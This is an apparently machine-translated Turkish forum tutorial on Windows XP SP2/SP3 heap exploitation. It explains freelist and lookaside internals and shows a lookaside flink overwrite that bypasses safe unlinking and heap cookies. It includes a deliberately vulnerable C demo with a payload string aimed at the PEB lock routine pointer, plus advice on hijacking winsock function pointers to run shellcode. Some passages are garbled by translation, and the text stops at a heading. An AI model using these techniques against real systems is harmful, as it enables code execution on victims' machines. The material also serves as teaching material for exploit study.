Windows Heap Exploitation #3 | Heap Overflows 102

Qgenays

Katılımcı Üye
20 Haz 2020
254
3
Los Santos
İnsanlar İçin Yığın Taşmaları 102

Başlangıçta, okuyucuya bağlantı kaldırma işleminin nasıl çalıştığı ve saldırgana keyfi bir yazma sağlamak için serbest listeden [n] flink / blink’in nasıl kontrol edilebileceği konusunda pratik bir çalışma bilgisi vermek amacıyla Windows’un eski sürümlerindeki yığın taşmalarından yararlanma tekniklerini tartıştım. 4 ilkel.

Bu makalenin temel amacı, kendimi yeniden eğitmek (unutkanım) ve güvenlik uzmanlarının, yığın yöneticisinin pencerelerin eski sürümleri (NT v5 ve altı) altında nasıl çalıştığına ilişkin teknik anlayışları kavramaya devam etmelerine yardımcı olmaktır. Bu, yığın taşmalarından veya bellek bozulmaları güvenlik açıklarından yararlanmak ve genel “yazma 4” ü önlemeyi amaçlayan belirli azaltıcı önlemleri atlamak için yapılır. Ayrıca, okuyucunun daha yeni Windows yığın uygulamalarına saldırmak için hiç şüphesiz ihtiyaç duyulacak bir bilgi ölçütü oluşturma amacına hizmet eder.

Bu öğreticide, Windows XP SP2 / SP3 yığın koruma mekanizmalarını atlamak için yalnızca iyi bilinen bir uygulamaya özel teknik ayrıntılı olarak tartışılacaktır. Bu nedenle, hiçbir şekilde kesin bir rehber değildir ve yığının her yönünü kapsamaz. Devam etmek için, Windows XP / Server 2003’te yığın yapılarının nasıl çalıştığına dair biraz sağlam bir anlayışa ihtiyaç vardır.

Yalnızca bu öğreticinin amaçları doğrultusunda ve İnsanlar için Yığın Taşması 101’den gelen geri bildirimlere dayanarak, yığın iç bileşenlerinin bu ortamda nasıl çalıştığının bazı yönlerini tartışacağım.

Yığın tabanlı arabellek taşmalarına aşina değilseniz, en azından temel düzeyde, o zaman önce bu alana odaklanmanız önerilir.

Takip etmek için ihtiyacınız olacaklar:
- Yalnızca SP1 yüklü Windows XP.
– Yalnızca SP2 / SP3 yüklü Windows XP.
– Bir hata ayıklayıcı (Olly Debugger, Immunity Debugger, ms sembol sunucusuna erişimli windbg vb.).
– Bir c / c ++ compilier (Dev C ++, lcc-32, MS visual C ++ 6.0 (hala alabiliyorsanız)). – Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
– Bir beyin (ve / veya sebat).
– Bir miktar Assembly, C bilgisi ve Olly için HideDbg (eklenti) veya bağışıklık hata ayıklayıcı altında!
– Zaman.

Bir kahve alın ve bu gizemli siyah sanatı inceleyelim.

Peki bir yığın ve blok tam olarak nedir?
Varsayılan olarak, Windows yığın için belirli bir yapıya sahiptir. PEB’deki uzaklık 0x90’da, sıralı bir dizi yapısında (kronolojik sırayla) verilen işlem için yığınların bir listesini görebilirsiniz. Bazı yığın yapılarına bakalım:

Windbg kullanarak mevcut PEB’yi! Peb kullanarak bulabiliriz. Bağışıklık Hata Ayıklayıcı kullanıcısıysanız, bu bilgileri! Peb kullanarak da görüntüleyebilirsiniz. ! Peb için sağlanan çok basit kod aşağıdadır.

Kod:
from immlib import *
def main(args):
        imm = Debugger()
        peb_address = imm.getPEBAddress()
        info = 'PEB: 0x%08x' % peb_address
        return info

PEB’ye girdikten sonra süreç yığınlarını görebiliriz:

Kod:
+0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 ****

0x7c97ffe0 işaretçi konumunda

Kod:
0:000> dd 7c97ffe0

7c97ffe0 00240000 00340000 00350000 003e0000
7c97fff0 00480000 00000000 00000000 00000000
7c980000 00000000 00000000 00000000 00000000
7c980010 00000000 00000000 00000000 00000000
7c980020 02c402c2 00020498 00000001 7c9b2000
7c980030 7ffd2de6 00000000 00000005 00000001
7c980040 fffff89c 00000000 003a0043 0057005c
7c980050 004e0049 004f0044 00530057 0073005c

dword’lerin dökümünü alalım
Kalın yazılmış adresler, bu süreçte çalışan mevcut yığınlardır. Bu bilgi ayrıca windbg ve Immunity Debugger’da! Heap komutunu kullanarak bulunabilir.

5nHXzb.jpg


Ek olarak, windbg’deki! Heap -stat komutunu kullanarak her bir yığınla ilgili istatistiksel bilgileri görüntüleyebilirsiniz. Aşağıda bunun örnek çıktısı verilmiştir:

Kod:
_HEAP 00030000
 Segments 00000002
 Reserved bytes 00110000
 Committed bytes 00014000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000


Son olarak, Immunity Debugger’da -h ve -q bayrağını kullanarak yığınla ilgili bazı **** verileri dökebilirsiniz.

XDocN7.jpg


İlk yığın (0x00240000) varsayılan yığın iken, diğer yığınlar C bileşenlerinden veya yapılarından oluşturulur.

Çıktıdaki son yığın (0x00480000) uygulamamız tarafından oluşturuldu. Uygulama, ek öbek (ler) oluşturmak için HeapCreate () gibi bir çağrı kullanabilir ve işaretçileri PEB’de 0x90 ofsetinde saklayabilir. Aşağıda HeapCreate () için Windows API gösterilmektedir.

Kod:
HANDLE WINAPI HeapCreate(
 __in DWORD flOptions,
 __in SIZE_T dwInitialSize,
 __in SIZE_T dwMaximumSize
 );

HeapCreate () ‘e doğru parametrelerle yapılan bir çağrı, EAX kaydında depolanan oluşturulan öbeğe bir işaretçi döndürecektir.

Argümanlar aşağıdaki gibidir:

Kod:
flOptions
        + HEAP_CREATE_ENABLE_EXECUTE: allow the execution of application code)
        + HEAP_GENERATE_EXCEPTIONS: An exception is raised when a call to HeapAlloc() or HeapReAlloc() is
          called and can’t be fulfilled
        + HEAP_NO_SERIALIZE: Serialized access is not used when the heap functions access this heap

dwInitialSize
        + The initial size that is committed for the heap rounded up to the nearest page size (4k). If 0
          is specified, then a single page size for the heap is set. The value must be smaller than
          dwMaximumSize.

dwMaximumSize
        + The maximum size of the heap. If requests are made to HeapAlloc() or HeapReAlloc() that exceed
          the dwinitialSize value, then the virtual memory manager will return page(s) of memory that will
          fill the al******** request and the remainder of memory will be stored in the freelist. If
          dwMaximumSize is 0, the heap can grow in size. The heap's size is limited only by the available
          memory.

Bayraklar hakkında daha fazla bilgi msdn’de bulunabilir.
Aşağıda, önemli konumların vurgulanmış olduğu bir yığın yapısı tablosu verilmiştir.

Kod:
Address	Value	Description
0x00360000	0x00360000	Base Address
0x0036000C	0x00000002	Flags
0x00360010	0x00000000	ForceFlags
0x00360014	0x0000FE00	VirtualMemoryThreshold
0x00360050	0x00360050	VirtualAllocatedBlocks List
0x00360158	0x00000000	FreeList Bitmap
0x00360178	0x00361E90	FreeList[0]
0x00360180	0x00360180	FreeList[n]
0x00360578	0x00360608	HeapLockSection
0x0036057C	0x00000000	Commit Routine Pointer
0x00360580	0x00360688	FrontEndHeap
0x00360586	0x00000001	FrontEndHeapType
0x00360678	0x00361E88	Last Free Chunk
0x00360688	0x00000000	Lookaside[n]

Bu bilgiyi görüntülemek için windbg’de ‘dt _heap’ komutunu kullanabilirsiniz.

Yığın segmentleri

Daha önce bahsedildiği gibi, her yığın parçası bir yığın segmentinde saklanır. Bir bellek parçası serbest bırakılırsa, yığın segmentinde depolanmanın yanı sıra serbest listeye veya görünüm listesine eklenecektir.

Tahsis ederken, eğer yığın yöneticisi görünümde veya serbest listede herhangi bir kullanılabilir boş yığın bulamazsa, taahhüt edilmemiş alandan mevcut yığın segmentine daha fazla bellek ‘işleyecektir’. Birçok ayırma nedeniyle çok fazla bellek işleniyorsa, bir yığın yapısı birçok segmente sahip olabilir.
Aşağıda, segment yığın yapısını gösteren bir tablo bulunmaktadır.

Kod:
Header	Self Size (0x2)	Prev Size (0x2)	Segment index (0x1)	Flag (0x1)	Unused (0x1)	Tag index (0x1)
Data

Yığın segmentlerini analiz ederken, windbg’de ‘! Heap -a [heap address]’ komutunu kullanırız.

dkmVMC.jpg



Ek olarak, bağışıklık hata ayıklayıcısında ‘! Heap -h [heap address] -c’ komutunu kullanabilirsiniz (-c bayrağı yığınları gösterir)

7UWpQm.jpg


Her segment kendi **** verilerini ve ardından segment içindeki veri yığınlarını içerir. Bu, segmentin kaydedilmiş hafızasıdır ve son olarak segment, kaydedilmemiş hafızanın bir bölümünü içerir. Artık analiz etmek istediğimiz segmenti bildiğimize göre, **** veri yapısını dökmek için ‘dt _heap_segment [segment adresi]’ komutunu kullanabiliriz.

R1usM1.jpg


Aşağıda, segment **** verilerinin yapısını içeren ayrıntılı bir tablo bulunmaktadır. Basit olması için, adres aralığını 0x00480000’den başlatacağız.

Kod:
Address	Value	Description
0x00480008	0xffeeffee	Signature
0x0048000C	0x00000000	Flags
0x00480010	0x00480000	Heap
0x00480014	0x0003d000	LargeUncommitedRange
0x00480018	0x00480000	BaseAddress
0x0048001c	0x00000040	NumberOfPages
0x00480020	0x00480680	FirstEntry
0x00480024	0x004c0000	LastValidEntry
0x00480028	0x0000003d	NumberOfUncommitedPages
0x0048002c	0x00000001	NumberOfUncommitedRanges
0x00480030	0x00480588	UnCommitedRanges
0x00480034	0x00000000	AllocatorBackTraceIndex
0x00480036	0x00000000	Reserved
0x00480038	0x00381eb8	LastEntryInSegment


Bir segmentteki önemli bilgiler ilk parçadır. Bu bilgi tek başına segmentte ‘yürümek’ için kullanılabilir, çünkü sadece boyutu ve ayrıntı düzeyini bilerek yığınları ve sonraki parçaları görüntüleyebilirsiniz.

Arka uç ayırıcı – Freelist

Yığın yapısının 0x178 ofsetinde, FreeList [] dizisinin başlangıcını görebiliriz.
FreeList, çift bağlantılı bir yığın listesi içerir.
Hem flink hem de blink içerdikleri için çift bağlantılılar.

ytyOGn.jpg



Yukarıdaki diyagram, serbest listenin 0-128 arasında değişen dizine alınmış yığın yığınları içerdiğini göstermektedir.

0 ile 1016 arasındaki herhangi bir yığın boyutu (maksimum boyut 1024 – 8 bayt **** veri olduğundan 1016’dır), ayrılmış birim boyutuna göre depolanır * 8. Örneğin, serbest bırakılacak 40 baytlık bir parçam olduğunu söyleyin, sonra ben parçayı serbest listenin 4. Dizinine yerleştirir (40/8).

Bir yığın boyutu 1016 (127 * 8) baytın üzerindeyse, sayısal boyut sıralamasında serbest liste [0] girişinde depolanır.

Aşağıda, serbest liste parçasının bir açıklaması bulunmaktadır.

Kod:
Headers	Self Size (0x2)	Prev Size (0x2)	Segment index (0x1)	Flag (0x1)	Unused (0x1)	Tag index (0x1)
flink/blink	Flink (0x4)	Blink (0x4)
Data

Microsoft, serbest liste girişinin bağlantısının kaldırılmasına yönelik saldırıları önlemek için bazı azaltıcı önlemler yayınladı, aşağıda azaltıcı önlemlerin kısa bir açıklaması bulunmaktadır.

Serbest listenin güvenli bir şekilde ayrılması:

Güvenli bağlantı kesme, Microsoft tarafından Windows XP Sp2 ve sonraki sürümlerde uygulanan bir koruma mekanizmasıdır.

Temel olarak, İnsanlar için Yığın Taşması 101’de tartışıldığı gibi genel yazma 4 tekniğini engellemeye çalışan bir istismar azaltma işlemidir.

Bu kontrolde, önceki yığınlar ‘flink’ tahsis edilmiş parçamıza işaret eder ve bitişik parçalar yanıp söner.

Aşağıda, güvenlik mekanizmasının bir açıklaması ve şeması bulunmaktadır.

Kod:
Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] ==Freelist chunk 2

7ZoCXv.jpg


Kırmızı ile gösterilen çizgiler, kontrolün yapıldığı yerdir.

aJLpZA.jpg


Denetimlerden herhangi biri başarısız olursa, ntdll.dll’ye 0x7c936934’e atlama yapılır.

Gördüğünüz gibi, flink / blink’i kontrol eden bir kod eklememiz dışında, geleneksel bağlantısız bağlantımızla hemen hemen aynı.

Serbest Liste Başlık Çerezleri

Windows XP SP2’nin tanıtımı, öbek başlıklarının içine 0x5 ofsetinde yerleştirilen rastgele bir yığın tanımlama bilgisini gördü.

Bu çerez kontrolleri yalnızca serbest liste parçalarına sahiptir.

Aşağıda, güvenlik tanımlama bilgisinin vurgulanmış olduğu bir yığın parçasının görüntüsü bulunmaktadır.

Bu rastgele bir tek bayt girişidir ve bu nedenle 256 olası değerden oluşan maksimum olası rasgeleleştirmeye sahiptir.

Bu değeri çok iş parçacıklı bir ortamda zorla uygulayabileceğinizi unutmayın.

zqyA7g.jpg



Ön Uç Ayırıcı – Lookaside Görünüm Listesi

1016 baytın (en fazla: 1016 + 8) altındaki yığın parçalarını depolamak için kullanılan tek bağlantılı bir listedir.

Göz atma listesinin arkasındaki fikir, hız ve hızlı arama süresi sağlamaktır.

Bunun nedeni, uygulamaların işlemlerin çalışma zamanı sırasında birden çok HeapAlloc () ve HeapFree () ‘yi çalıştırmasıdır.

Hız ve verimlilik için tasarlandığından, liste girişi başına 3’ten fazla boş parçaya izin vermez.

HeapFree () bir yığın üzerinde çağrılırsa ve bu belirli parça boyutu için zaten 3 girdi varsa, o zaman Freelist [n] ‘ye serbest bırakılır.

Yığın yığın boyutu her zaman ayırmanın gerçek boyutuna + başlığı nedeniyle ek 8 bayt olarak hesaplanır.

Dolayısıyla, tahsis 16 bayt için yapılırsa, görünüm listesi 24 baytlık yığın boyutları için taranır (16 + yığın başlığı).

Aşağıdaki diyagram durumunda, pencere yığın yöneticisi başarılı olur ve görünüm listesinin 2. Dizininde kullanılabilir bir yığın bulur.

Lookaside listesi yalnızca bir sonraki kullanılabilir parçayı (kullanıcı verileri) gösteren bir flink içerir.

Kod:
Headers	Self Size (0x2)	Prev Size (0x2)	Cookie (0x1)	Flags (0x1)	Unused (0x1)	Segment index (0x1)
flink/blink	Flink (0x4)	
Data

ulxoNp.jpg


Windows yığın yöneticisi bir ayırma isteği aldığında, isteği yerine getirebilecek boş yığın bellek parçalarını arar.

Optimizasyon ve hız için, Windows yığın yöneticisi ilk olarak (tek bağlantılı liste yapısı nedeniyle) başlangıçta görünüm listesinde gezer ve boş bir yığın bulmaya çalışır.

Eğer yığın burada bulunmazsa, Windows yığın yöneticisi arka uç ayırıcıyı deneyecektir.

Yığın yöneticisinin serbest listede dolaşacağı yer burasıdır (serbest liste [1]-serbest liste [127] arasında).

Hiçbir parça bulunmazsa, daha büyük bir yığın için serbest listedeki [0] girişini yürütür ve ardından yığınları böler.

Bir kısım öbek yöneticisine iade edilecek ve geri kalanı serbest listeye [n] dönecektir (n, boyut olarak kalan baytlara dayalı dizindir).

Bu bizi bir sonraki bölüm olan yığın işlemlerine getiriyor.

Temel Yığın İşlemleri

Yığın bölme: Yığın bölme, oldukça büyük bir parça için serbest listeye [n] erişme ve onu daha küçük parçalara ayırma işlemidir.

Serbest listede istenen tahsis boyutundan daha büyük bir parçaya erişildiğinde, yığın, istenen tahsis boyutunu karşılamak için ikiye bölünecektir.

Serbest listede [0] bunun 2048 baytlık tek bir yığın olduğunu varsayalım.

İstenen ayırma boyutu 1024 bayt (başlık dahil) ise, yığın bölünür ve 1024 baytlık yığın boyutu, arayana yeni tahsis edilmiş 1024 baytlık yığın döndürülürken serbest listeye [0] geri konur.

Yığın Birleştirme: Yığın birleştirme, merkez öbek de serbest bırakıldığında serbest kalan iki bitişik yığın bellek parçasını bir araya getirme eylemidir.

Yığın yöneticisinin bunu yapmasının nedeni, segment belleğini etkin bir şekilde kullanmaktır.

Tabii ki, parçalar serbest bırakıldığında verimlilikte bir değiş tokuş var.

Yığın birleştirme çok önemli bir işlemdir, çünkü birden fazla parça bir araya getirilebilir (bir kez ücretsiz) ve daha sonra daha büyük boyutlu diğer tahsisler için kullanılabilir.

Bu işlem gerçekleşmediyse, yığın segmentinde boşa harcanan yığınlar oluşur ve parçalara ayrılır.

Windows XP SP2 / 3 Güvenlik Mekanizmalarını Atlamak İçin Teknikler

Bakış kenarının bir kısmının üzerine yazmak:

Bu teknik, yığın tanımlama bilgilerini ve güvenli bağlantı kaldırma kontrollerini atlamak için en yaygın tekniktir.

Bu, bir write 4 ilkelini elde etmek için uygulamaya özgü bir teknik olsa da, bazı uygulamalar, güvenilir kullanım için yeterince yığın düzenini belirlemenize izin verebilir.

Lookside listesinde güvenli bir bağlantı kesme veya tanımlama bilgisi kontrolü olmadığından, bir saldırgan bitişik bir lookaside girişinde bulunan ‘flink’ değerinin üzerine yazabilir ve bu işaretçiyi bir HeapAlloc () veya HeapFree () çağrısı yoluyla yalnızca daha sonra kötü amaçlı kod yazmak için geri döndürebilir.

Sonraki kullanılabilir yığın.

Bunun görsel olarak nasıl çalıştığını görelim, derin nefes alalım.

Mi6TjK.jpg


1. Mevcut segmentte parça (A) ayırarak başlıyoruz

Drw5hv.jpg



2. Daha sonra aynı segmentte başka bir parça (B) ayırıyoruz

vF90iL.jpg


3. Şimdi görünüm listesine (B) parçasını serbest bırakıyoruz, böylece iki giriş var, biri segment için, diğeri de görünüm listesi için

vF90iL.jpg


4. Şimdi yığın (A) ‘yı taşıyoruz (Bu daha sonra yığın B’ye taşacak ve flinkini güncelleyecektir). Bu, üzerine yazılacak **** verilerdir

https://i.hizliresim.com/EqDYg4.jpg

5. Şimdi (B) parçasını yeniden ayırıyoruz (2. Adımdaki B öbeği ile aynı büyüklükte bir öbek ayırarak). Bu, öbek (B) için göstericiyi döndürür ve geçerli yığın bölütündeki referansını günceller ve bir sonraki tahsisat için hazır olur. Artık flink, yığın (B) olarak saldırganın yığın (A) taşmasından kontrol ettiği keyfi bir adrese güncellenir.

H665jA.jpg


6. Şimdi parça (C) ayırarak kontrolü ele alıyoruz. Bu, yığın (B) ‘den sonraki mevcut yığın olacak ve bu nedenle, yığın (B)’ nin kontrollü flinkiyle de gösterilecektir. Saldırgan, yığın (C) ‘yi kabuk koduyla doldurur.

Hegbs7.jpg


Bu işlem tamamlandığında, ideal olarak yazma kontrolümüzden sonra çağrılacak olan üzerine yazılmış bir işlev işaretçisinin kontrolüne sahibiz.

Aşağıda göstereceğimiz C kodu yer almaktadır.

Kod:
/*
        Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
        char *a,*b,*c;
        long *hHeap;
        char buf[10];
 
        printf("----------------------------\n");
        printf("Overwrite a chunk on the lookaside\n");
        printf("Heap demonstration\n");
        printf("----------------------------\n");
 
        // create the heap
        hHeap = HeapCreate(0x00040000,0,0);
        printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
        printf("(+) Allocating chunk A\n");
 
        // allocate the first chunk of size N (<0x3F8 bytes)
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk B\n");
 
        // allocate the second chunk of size N (<0x3F8 bytes)
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
 
        printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
        printf("(+) Freeing chunk B to the lookaside\n");
 
        // Freeing of chunk B: the chunk gets referenced to the lookaside list
        HeapFree(hHeap,0,b);
 
        // set software bp
        __asm__("int $0x3");
 
        printf("(+) Now overflow chunk A:\n");
 
        // The overflow occurs in chunk A: we can manipulate chunk B's Flink
        // PEB lock routine for testing purposes
        // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
 
        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
 
        gets(a);
 
        // set software bp
        __asm__("int $0x3");
 
        printf("(+) Allocating chunk B\n");
 
        // A chunk of block size N is allocated (C). Our fake pointer is returned
        // from the lookaside list.
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk C\n");
 
        // set software bp
            __asm__("int $0x3");
 
        // A second chunk of size N is allocated: our fake pointer is returned
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
 
        printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
 
        // A copy operation from a controlled input to this buffer occurs: these
        // bytes are written to our chosen ********
        // insert shellcode here
    gets(c);
 
        // set software bp
            __asm__("int $0x3");
 
        exit(0);
 }

Birkaç __asm __ (“int $ 0x3”) olmasının nedeni; talimatlar, hata ayıklayıcıda yürütmeyi duraklatmak için yazılım kesme noktalarını ayarlamaktır.

Alternatif olarak, derlenmiş ikili dosyayı hata ayıklayıcıda açabilir ve çağrıların her birinde kesme noktaları ayarlayabilirsiniz.

Kodu dev c ++ ‘da oluşturun (AT&T satır içi derlemeyi gcc.exe ile derlemeyi kullanır). Kodu çalıştırırken hata ayıklayıcıdayken ilk kırılma noktasına ulaşıyoruz, bir göz atalım.

PrgDJT.jpg


0x00480000 segmentinde 0x18 boyutunda iki tahsis edilmiş parçamız olduğunu görebiliriz.

Bu değerden 0x8 bayt çıkarırsak, 0x10 veya 16 bayt kalır.

Bakalım kenara bir göz atalım ve bu konumu da (B) parçasını gerçekten serbest bırakıp bırakmadığımızı görelim.

8vIDmB.jpg


Mükemmel! Böylece yığınımızı görünüm tarafında görebiliriz (8 bayt daha az, böylece başlığa işaret eder).

Bu yığın, boyutunun <1016 olması ve bu belirli parça boyutu için görünüm tarafında <= 3 parça olması nedeniyle bu konuma serbest bırakıldı.

Emin olmak için, serbest listeye bir göz atalım ve neler olduğunu görelim.

g480Ng.jpg


Tamam, basit görünüyor, bir segment ve birkaç tahsis oluşturmada normal olan serbest listedeki [0] ‘dan bazıları dışında hiçbir giriş yok.

Devam ederek, yığınları ve bitişik yığın başlıklarını aşmak için bazı 0x41’lerle yığın A’yı taşıyoruz.

Aynı verilerle, bitişik parçaların flinkini 0x44 kullanarak taşacağız.

5DZBvN.jpg


Harika, saldırganların girdisi tarafından 0x00481ea8-0x8’deki (parça B) ayırmamızın üzerine yazıldığını görebiliyoruz.

Lookaside girişinin 0x4444443c değerini içerdiğini de görebiliriz.

Bu değere 0x8 bayt eklersek, tam olarak kullandığımız değer olan 0x44444444 olur!

BpWB7b.jpg


Yani bu noktada, yığın B’nin flinkini nasıl kontrol ettiğinizi anlayabilirsiniz.

Parça B (0x00481ea8-0x8) ile aynı boyut için bir ayırma yapıldıktan sonra, parça B’nin girişi, görünüm [3] girişinden kaldırılacak ve arayana geri dönecektir.

0IwF0S.jpg


Ayrıca başlıkların da tam kontrolümüz altında olduğunu unutmayın.

Yani, yığın A’ya (0x00481e88) bakarsak, parçanın kullanımda olduğunu görebiliriz çünkü bayrak 0x1 olarak ayarlanmıştır (meşgul olduğunu gösterir).

(0x00481ea0) adresindeki bir sonraki parça henüz güncellenmedi, çünkü bu noktada bakış açısından hala serbest bırakıldı.

Bu noktada, kod erişim bir OKUMA işleminde ihlal edecektir. Bu tekniği kullanarak bir uygulamaya saldırırken, 0x44444444’ü bir işlev işaretçisi (sahte flink) ile değiştirirdik.

Şimdi, yığın yöneticisi bir sonraki ayrılan parçayı oluşturduğunda, uygulama sahte flink’in yerine yazacaktır.

Şimdi yığın C’yi ayıracağız ve tamponu rastgele bir kabuk kodu ile dolduracağız. Bu noktadaki fikir, işlev işaretçimizin uygulama çökmeden (veya çökme nedeniyle çağrılmadan) önce çağrılmasını sağlamaktır.

İnsanlar için Yığın Taşması 101’de bahsetmediğim çok akıllıca bir numara, saldırganın PEB global işlev işaretleyicilerini kullanabilmesidir (yalnızca XP SP1’den önce).

Ancak Windows XP SP2 ve üzeri sürümlerde bu adres işaretçileri artık rasgele dağıtılmıştır.

Bunu ilk gördüğümüzde hata ayıklayıcıya ikili yüklerken şunu kontrol edelim:

vP2AJf.jpg


Şimdi tekrar yapalım:

DhA11d.jpg


İki PEB adresinin farklı olduğuna dikkat edin.

Bir istisna oluştuğunda, istisna dağıtıcısı büyük olasılıkla ExitProcess () ‘i çağıracak ve daha sonra RtlAcquirePebLock ()’ u çağıracaktır.

Bu işlem, istisna sırasında peb’de hiçbir değişiklik yapılmayacak şekilde gerçekleştirilir ve işleyici gönderildikten sonra, RtlReleasePebLock () çağrısı yoluyla kilidi serbest bırakır.

Ek olarak, bu işlevler içinde kullanılan işaretçiler W | X korumalı değildir, yani bu bellek bölgesinde yazabilir ve çalıştırabiliriz.

Bu işlevlerin her biri, çakıldan sabit bir ofseti olan statik işaretçilerden yararlanır.

Kod:
7C91040D > 6A 18            PUSH 18
7C91040F   68 4004917C      PUSH ntdll.7C910440
7C910414   E8 B2E4FFFF      CALL ntdll.7C90E8CB
7C910419   64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
7C91041F   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
7C910422   8945 E0          MOV DWORD PTR SS:[EBP-20],EAX
7C910425   8B48 20          MOV ECX,DWORD PTR DS:[EAX+20]
7C910428   894D E4          MOV DWORD PTR SS:[EBP-1C],ECX
7C91042B   8365 FC 00       AND DWORD PTR SS:[EBP-4],0
7C91042F   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
7C910432   FF55 E4          CALL DWORD PTR SS:[EBP-1C]
7C910435   834D FC FF       OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C910439   E8 C8E4FFFF      CALL ntdll.7C90E906
7C91043E   C3               RETN

Aşağıda RtlAcquirePebLock () işlevi ve görebileceğiniz gibi FS: [18] (peb) EAX’e taşınır.

Kod:
7C910451 > 64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
7C910457   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
7C91045A   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
7C91045D   FF50 24          CALL DWORD PTR DS:[EAX+24]
7C910460   C3               RETN

Daha sonra 0x30 ofsetinde, global fonksiyon işaretçileri depolanır ve 0x24 ofsetinde çağrılacak olan ‘FastPebLockRoutine ()’ fonksiyonu bulunur.

ADolayısıyla, bir istisna oluştuğunda RtlAcquirePebLock () ve RtlReleasePebLock () rutinleri çağrıldığında, kod sürekli olarak bir istisnayı tetikleyecek ve kodunuzu sonsuza kadar çalıştıracaktır.

lHTw6B.jpg


Bununla birlikte, kabuk kodunuzu çalıştırarak ve ardından işaretçi konumunu bunun yerine exit () işaretini gösterecek şekilde değiştirerek peb’e yama yapabilirsiniz.

Mevcut süreçte ne kadar çok iş parçacığı olursa, o kadar az rasgeleleştirme olur (rastgele adresler birden fazla PEB için kullanılır) ve mevcut PEB’nin adresini ‘tahmin edebiliriz’.

Bununla birlikte, sorun hala, write 4 ilkelimiz (genel bir işlev göstericisi) için üzerine yazacak güvenilir bir işlev işaretçisine sahip olmadığımız gerçeğinde yatmaktadır.

Bazen bir uygulama, bir istisna oluşmadan önce özel bir işlev işaretçisi kullanabilir veya başka bir Windows kitaplığındaki bir işlev işaretçisi çağrılır ve bu, kodumuzla bu işaretçinin üzerine yazmak ve kabuk kodunu yürütmek için kullanılabilir.

Spesifik işaretçi istismarı:

Gösteri amacıyla, sabit PEB Global işlev işaretçileri nedeniyle Windows XP SP1 altındaki görünüm kenarındaki bir parçanın üzerine yazacağım. FastPEBLockRoutine () 0x7ffdf020 adresinde bulunur. Bu satırın açıklamasını kaldırmanız yeterlidir:
Ve bu satırı yorumlayın:

Kod:
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");

Bu yüzden şimdi yığın A X’leri taşacağız ve AAAA ve BBBB ile yığın B’nin **** verilerine taşacağız ve sonunda 0x7ffdf020 ile yığın B’nin flinkinin üzerine yazacağız.

Kod:
gets(a);

Yeniden derleyin ve hata ayıklayıcıya yükleyin.

Şimdi C öbeğini (0x7ffdf020 ile gösterilen) ayırdığımızda, öbeği shellcode ile doldurabiliriz ve bir istisna oluştuğunda çağrılır.

Aşağıda, EAX’i PEB konumunu içerecek şekilde ayarlayan aşağıdaki kodu görebiliriz ve 0x20 (FastPEBLockRoutine ()) ofsetinde yürütmeyi kodumuza aktaran bir doğrudan arama yapılır.

Gw65nP.jpg


Artık EIP üzerinde doğrudan kontrolümüz var ve onu koda dönmek için kullanabiliriz. Buradan DEP’yi atlamak ve kod yürütme almak önemsizdir.

Uygulamaya özel işaretçi istismarı:

Windows XP SP3 altında uygulamaya özel bir işaretçi kullanarak bu güvenlik açığından yararlanmanın bir örneğini sağlamadığım sürece bu makale tamamlanmış sayılmaz.

Bir yığın taşması içeren yazılımları hedeflerken, taşmanın meydana gelmesinden sonra da yazılabilen ve çalıştırılan herhangi bir sabit kodlu işlev çağrısı hedeflenmeli ve kötüye kullanılmalıdır.

Örneğin, winsock’tan WSACleanup (), XP SP3 altında 0x71ab400a’da sabit kodlanmış bir işlev çağrısı içerir. Bu, bellekte shellcode’umuzu da yazabileceğimiz bir konum olarak kullanılabilir.

Bu şekilde WSACleanup () (veya diğer birçok winsock işlevi) yürütüldüğünde, kabuk koduna geri yönlendirecektir.

Aşağıda WSACleanup () işlevinin sökülmesi ve kodlanmış işlev çağrısının bulunması yer almaktadır.

Gw65nP.jpg


Windows altındaki hemen hemen tüm ağ oluşturma uygulamalarının winsock’tan dışa aktarılan işlev çağrılarını kullanması muhtemeldir ve özellikle WSACleanup () tüm soket bağlantılarını temizlemek için kullanılır ve bu nedenle bir yığın taşmasından sonra yürütülmesi neredeyse garanti edilir.

Bu nedenle, üzerine yazmak için bu işlev işaretçisini (0x71ac4050) kullanmak oldukça tutarlı bir şekilde çalışıyor gibi görünüyor.

Başka bir örnekte gösterildiği gibi, recv () işlevi aynı işleve yönelik bir çağrı da içerir.

0x71ab678f’deki işlev çağrısını takip edersek, buraya indiğimizi görebiliriz:

jizStv.jpg


Bu teknikle ilgili temel sorun, o konumda üzerine yazacağınız için, winsock kullanan herhangi bir kabuk kodunun (pratik olarak ekleyebileceğim her şey) başarısız olmasıdır.

Bunu çözmenin bir yolu, 0x71ac4050 konumunu orijinal kodla yeniden yamalamaktır, böylece winsock çağrıları çalışır.

d1Tsp3.jpg


Ne biliyorsun? 0x71ac4050’de başka bir erteleme çağrısı, sadece bunun başarılı olacağını doğrulamak için, belleğin erişim izinlerine bakalım.

Fhp0bi.png


Uygulamaya Özel Yığın İstismarı Örneği:

